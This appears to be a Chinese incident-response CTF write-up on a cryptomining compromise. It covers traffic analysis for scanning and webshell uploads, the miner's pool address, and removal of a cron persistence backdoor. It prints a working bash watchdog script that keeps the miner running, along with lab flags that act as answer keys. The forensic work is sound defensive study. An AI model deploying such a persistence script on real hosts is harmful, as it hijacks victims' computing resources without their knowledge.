挖矿-学校挖矿排查
1、使用工具分析共有多少IP存在扫描web特征,提交其数量
这里我们直接访问百度网盘将流量下载到本地然后直接导入到 ZUI里面,这个工具很方便对流量进行筛选
流量分析工具ZUI安装
然后使用命令搜索
count() by id.orig_h,status_code|status_code == 404
可以看到右下角有32条 但是这里也要排除本身的IP 那种数据量少的不符合攻击机的ip流量特征,以及要排除本身的ip总共出去四条 但是这里并没有显示所有是三条 所以存在IP扫描特征的web总共 29条
flag{29}
或者直接在wireshark里面点击统计,IPv4,ALL address
在下面显示过滤器里面搜索 http.response.code == 404
在这里本机ip的流量也会出现
2、在2025.6.22日17点03分27秒,192.168.37.10,55689端口进行访问的url路径以flag方式进行提交(应急三要素缩小范围)
这里看了州学弟大佬的视频使用提示词给我生成了一条wireshark提示词
在2025.6.22日17点03分27秒,192.168.37.10 ,55689端口进行访问url路径
给我wireshark筛选语句
frame.time >= "Jun 22, 2025 17:03:27" and frame.time <= "Jun 22, 2025 17:03:28"
and (ip.src == 192.168.37.10 or ip.dst == 192.168.37.10)
and tcp.port == 55689
可以看到这里有几条http的流量但是在这个时间段我们也不知道是那个url是flag 这几个都分别提交一下最后flag为
flag{/uploads/06853c4f-8b05-4949-90ae-9adc49f27a94.jsp}
3、提交存在使用NMAP扫描特征的IP
这里让我们赵哪些流量有Nmap 在有nmap的流量包里面的user-agent里面是有Nmap字段的,我们可以以此为契机直接搜索哪些流量里面有nmap字段
http.user_agent contains "Nmap
或者使用
tcp.flags.syn ==1 && tcp.flags.ack ==0
flag{192.168.37.4}
命令解析:tcp.flags.syn == 1 && tcp.flags.ack == 0
这是 Wireshark 的显示过滤语法,用于匹配满足以下条件的 TCP 数据包:
字段 | 含义 |
---|---|
tcp.flags.syn == 1 |
TCP 报头中 SYN 标志位被置为 1(表示“同步序列号”,发起连接) |
tcp.flags.ack == 0 |
TCP 报头中 ACK 标志位为 0(表示这不是一个确认包) 因此,该过滤器匹配的是: |
所有设置了 SYN 位但未设置 ACK 位的 TCP 数据包
即:TCP 三次握手的第一个数据包 —— 客户端发起连接请求(SYN 包)
二、Nmap 的默认扫描方式:SYN Scan(-sS)
Nmap 最常用的扫描方式是 SYN 扫描(半开放扫描),其特点是:
- Nmap 发送一个 SYN 包 到目标端口;
- 如果目标返回 SYN-ACK → 端口开放;
- 如果目标返回 RST → 端口关闭;
- Nmap 不会完成三次握手,即不发送最后的 ACK;
- 这样既探测了端口状态,又不会建立完整连接,隐蔽性强。
Nmap SYN 扫描过程示例:
攻击机 (Nmap) → 目标主机SYN ----------------> Port X←-------------- SYN-ACK (Port Open)RST (本地重置) ← 不发送 ACK!
Copy
Plain text
所以你会发现:只有第一个 SYN 包是从外部主动发往目标的,并且它的特征就是:SYN=1, ACK=0
三、为什么这个特征能检测到 Nmap 流量?
正常用户行为 vs Nmap 扫描行为对比
行为类型 | 典型 TCP 特征 | 是否常见 |
---|---|---|
正常浏览器访问(如打开网页) | 完整三次握手: SYN → SYN-ACK ← ACK → | ✔️ 常见 |
Nmap -sS 扫描多个端口 | 大量子网内主机/端口发送大量 SYN=1, ACK=0 包 |
❌ 异常 |
操作系统正常通信 | 几乎不会有大批量 SYN=1, ACK=0 发往不同端口 |
❌ 极少出现 |
在短时间内,如果某个源 IP 向多个目标 IP 或同一 IP 的多个端口发送大量:
SYN=1, ACK=0
Copy
Plain text
的数据包,而没有后续的 ACK(说明不是真实应用层连接),这就极有可能是 端口扫描行为,尤其是 Nmap 的典型指纹。
4、审计流量并结合web站点,攻击者通过什么漏洞进行控制主机,提交漏洞文件名接口
这里也是使用zui进行排查
count () by id.orig_h,status_code,uri|status_code==200|sort -r count
在这里看到 /uploads/70b86b64-ce15-46bf-8095-4764809e2ee5.jsp
但是这里不是这个应该是个木马文件 这里是第二个 /servlet/user/profile?uploadSuccess=true
我们再去wireshark里面搜索一下
ip.addr == 192.168.37.10 &&http.request.uri=="/servlet/user/profile?uploadSuccess=true"
可以看到这里有冰蝎的webshell流量
flag{uploadAvatar}
5、审计流量并结合web站点,攻击者通过哪个用户名利用的漏洞,提交其注册用户名
我们在目标站点点击登录接口,
这里有个登录接口 /servlet/user/login
这里使用了出现了账号密码并且下面出现了302跳转
flag{wangyunqing}
6、审计流量并结合漏洞,提交攻击者控制成功木马文件名
在前面统计的时候发现这个文件/uploads/70b86b64-ce15-46bf-8095-4764809e2ee5.jsp
流量包很多怀疑是木马文件 我们在wireshark里面搜索一下
在里面找一条POST流量包 丢入蓝队分析取证工具 没有的可以看一下 希潭实验室获取
flag{70b86b64-ce15-46bf-8095-4764809e2ee5.jsp}
7、审计流量并清除掉攻击者上传的木马,清除成功后在/var/flag/1/flag中查看flag并提交
这里我们清楚上传木马文件是 70b86b64-ce15-46bf-8095-4764809e2ee5.jsp
这里需要进行模糊搜索
find / -name *2ee5.jsp
将这个文件删除拿到flag
flag{1979c46c2af37dc62a4b05881e816995}
8、黑客拿到主机权限后,上传了挖矿木马,需要你提交矿池地址
使用top查看当前cpu占用率 可以看到这个java进程的cpu占用率最高。
在进程里面能看到这个java地址 ,使用finallshell将这个java包下载到本地
使用idea反编译一下即可拿到flag
flag{pool.minexmr.com:4444}
9、清除掉主机上的挖矿木马,完成后在/var/flag/2/flag文件中查看flag并提交
flag{da236fe0cda81bfc03d022799589110e}
10、黑客做了后门,即使你清除以后,仍然会定时更新挖矿程序并运行,你找到这个程序,提交其路径
这里提到了定时,我们怀疑是不是有计划任务 使用crontab -l 查看当前计划任务 在当前计划任务里面有一个.sh文件
#!/bin/bashSOURCE_FILE="/usr/share/.miner/miner.jar"
DEST_FILE="/tmp/miner.jar"
PROCESS_NAME="java -jar $DEST_FILE"
LOG_FILE="/var/log/.malware_events.log"if pgrep -f "$PROCESS_NAME" > /dev/null; thenexit 0
elseecho "[$(date)] Miner process not found. Taking action..." >> "$LOG_FILE"if [ ! -f "$DEST_FILE" ]; thenecho "[$(date)] Miner file ($DEST_FILE) is missing. Restoring from backup..." >> "$LOG_FILE"cp "$SOURCE_FILE" "$DEST_FILE"chmod +x "$DEST_FILE"fiif [ -f "$DEST_FILE" ]; thennohup java -jar "$DEST_FILE" > /dev/null 2>&1 &echo "[$(date)] Miner process restarted with PID $!." >> "$LOG_FILE"elseecho "[$(date)] CRITICAL: Could not restore miner file from backup. Cannot start." >> "$LOG_FILE"fi
这是一个 Linux 系统下的挖矿病毒自启动守护脚本,其作用是确保一个基于 Java 的挖矿程序(miner.jar)在后台持续运行。如果该挖矿进程被终止或文件被删除,此脚本会自动恢复并重新启动它。
项目 | 分析 |
---|---|
类型 | Linux 下的 Java 基于的 加密货币挖矿木马(Crypto Miner) |
语言依赖 | 需要系统安装 Java 环境(JRE/JDK),常见为 OpenJDK 或 Oracle JDK |
传播方式推测 | 可能通过弱口令 SSH、未授权 Redis、Webshell 等方式植入 |
持久化机制 | 1. 定时任务(crontab) 2. systemd 服务 3. 此类守护脚本定期检查重启 |
隐蔽性设计 | 文件路径全为隐藏(. 开头)日志伪装成正常系统日志进程伪装为普通 Java 应用 |
危害表现 | CPU 占用飙升、服务器变慢、电费/资源浪费、可能成为跳板机进一步横向渗透 |
flag{/usr/share/.per/persistence.sh}
脚本功能逐行分析
#!/bin/bash
Copy
Bash
- 指定使用
bash
解释器执行该脚本。
SOURCE_FILE="/usr/share/.miner/miner.jar"
DEST_FILE="/tmp/miner.jar"
PROCESS_NAME="java -jar $DEST_FILE"
LOG_FILE="/var/log/.malware_events.log"
Copy
Bash
- 定义关键变量:
SOURCE_FILE
:原始的挖矿 JAR 文件备份路径(隐藏目录,通常用于持久化存储)。DEST_FILE
:当前运行的挖矿程序副本路径(放在/tmp
目录下,重启后可能丢失,但脚本能从源恢复)。PROCESS_NAME
:要监控的进程命令名(java -jar /tmp/miner.jar
)。LOG_FILE
:记录恶意活动日志的路径(也隐藏在系统日志目录中)。
if pgrep -f "$PROCESS_NAME" > /dev/null; thenexit 0
elseecho "[$(date)] Miner process not found. Taking action..." >> "$LOG_FILE"
Copy
Bash
- 使用
pgrep -f
查找是否正在运行目标进程(通过完整命令行匹配)。 - 如果找到,则退出脚本(无需操作);
- 否则,表示挖矿进程已停止,开始“修复”流程,并记录时间戳到日志。
if [ ! -f "$DEST_FILE" ]; thenecho "[$(date)] Miner file ($DEST_FILE) is missing. Restoring from backup..." >> "$LOG_FILE"cp "$SOURCE_FILE" "$DEST_FILE"chmod +x "$DEST_FILE"fi
Copy
Bash
- 判断
/tmp/miner.jar
是否存在。 - 若不存在,则从隐藏备份路径
/usr/share/.miner/miner.jar
复制过来,并赋予可执行权限。
if [ -f "$DEST_FILE" ]; thennohup java -jar "$DEST_FILE" > /dev/null 2>&1 &echo "[$(date)] Miner process restarted with PID $!." >> "$LOG_FILE"elseecho "[$(date)] CRITICAL: Could not restore miner file from backup. Cannot start." >> "$LOG_FILE"fi
fi
Copy
Bash
-
检查恢复后的文件是否存在。
-
存在 → 使用
nohup
在后台启动 Java 挖矿程序(避免终端关闭中断),并将输出丢弃。
$!
是刚启动进程的 PID,写入日志便于追踪。
-
不存在 → 写入严重错误日志,无法启动。
-
11、清除掉后门挖矿程序,在/var/flag/3/flag下查看提交flag
首先我们先删除备份的木马文件
rm -rf /usr/share/.miner/miner.jar
其次我们删除这个后面挖矿程序
rm -rf /usr/share/.per/persistence.sh
取消当前计划任务
crontab -e
最后杀死当前进程
flag{27bd067769b51ed71f899c7a6f08af2c}